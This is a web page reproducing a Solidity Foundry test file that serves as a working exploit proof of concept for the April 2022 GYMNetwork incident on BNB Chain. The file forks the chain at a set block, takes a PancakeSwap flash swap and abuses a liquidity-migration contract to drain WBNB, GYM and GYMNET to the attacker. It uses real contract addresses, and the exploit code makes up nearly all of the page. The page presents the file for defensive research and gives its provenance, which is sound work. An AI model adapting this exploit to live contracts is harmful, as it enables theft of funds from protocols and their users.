Skip to content
THREATWIRE

Public reproduction file

src/test/2022-04/Gym_1_exp.sol

Public reproduction file for dataset entry GYMNetwork.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-04/Gym_1_exp.sol73 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7contract ContractTest is Test {
8 CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
9 IPancakeRouter pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
10 ILiquidityMigrationV2 liquidityMigrationV2 =
11 ILiquidityMigrationV2(payable(0x1BEfe6f3f0E8edd2D4D15Cae97BAEe01E51ea4A4));
12 IPancakePair wbnbBusdPair = IPancakePair(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16);
13 IPancakePair wbnbGymPair = IPancakePair(0x8dC058bA568f7D992c60DE3427e7d6FC014491dB);
14 IPancakePair wbnbGymnetPair = IPancakePair(0x627F27705c8C283194ee9A85709f7BD9E38A1663);
15 IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
16 IERC20 gym = IERC20(0xE98D920370d87617eb11476B41BF4BE4C556F3f8);
17 IERC20 gymnet = IERC20(0x3a0d9d7764FAE860A659eb96A500F1323b411e68);
19 constructor() {
20 cheat.createSelectFork("bsc", 16_798_806); //fork bsc at block 16798806
22 wbnb.approve(address(pancakeRouter), type(uint256).max);
23 gym.approve(address(pancakeRouter), type(uint256).max);
24 gymnet.approve(address(pancakeRouter), type(uint256).max);
25 wbnbGymPair.approve(address(pancakeRouter), type(uint256).max);
26 wbnbGymPair.approve(address(liquidityMigrationV2), type(uint256).max);
27 wbnbGymnetPair.approve(address(pancakeRouter), type(uint256).max);
28 }
30 function testExploit() public {
31 payable(address(0)).transfer(address(this).balance);
32 emit log_named_uint("Before exploit, USDC balance of attacker:", wbnb.balanceOf(msg.sender));
33 wbnbBusdPair.swap(2400e18, 0, address(this), new bytes(1));
34 emit log_named_uint("After exploit, USDC balance of attacker:", wbnb.balanceOf(msg.sender));
35 }
37 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
38 address[] memory path = new address[](2);
39 path[0] = address(wbnb);
40 path[1] = address(gym);
41 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
42 600e18, 0, path, address(this), type(uint32).max
43 );
44 pancakeRouter.addLiquidity(
45 address(wbnb),
46 address(gym),
47 wbnb.balanceOf(address(this)),
48 gymnet.balanceOf(address(liquidityMigrationV2)),
49 0,
50 0,
51 address(this),
52 type(uint32).max
53 );
54 liquidityMigrationV2.migrate(wbnbGymPair.balanceOf(address(this)));
55 pancakeRouter.removeLiquidityETHSupportingFeeOnTransferTokens(
56 address(gymnet), wbnbGymnetPair.balanceOf(address(this)), 0, 0, address(this), type(uint32).max
57 );
58 wbnb.deposit{value: address(this).balance}();
59 path[0] = address(gym);
60 path[1] = address(wbnb);
61 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
62 gym.balanceOf(address(this)), 0, path, address(this), type(uint32).max
63 );
64 path[0] = address(gymnet);
65 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
66 gymnet.balanceOf(address(this)), 0, path, address(this), type(uint32).max
67 );
68 wbnb.transfer(msg.sender, ((amount0 / 9975) * 10_000) + 10_000);
69 wbnb.transfer(tx.origin, wbnb.balanceOf(address(this)));
70 }
72 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “GYMNetwork” (2022-04-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
GYMNetwork
Path
src/test/2022-04/Gym_1_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
cd542e62a61c640262f4604270369d61059d6c31
Language
Solidity
Size
74 lines
Date
2022-04-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-04/Gym_1_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cd542e62a61c640262f4604270369d61059d6c31, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.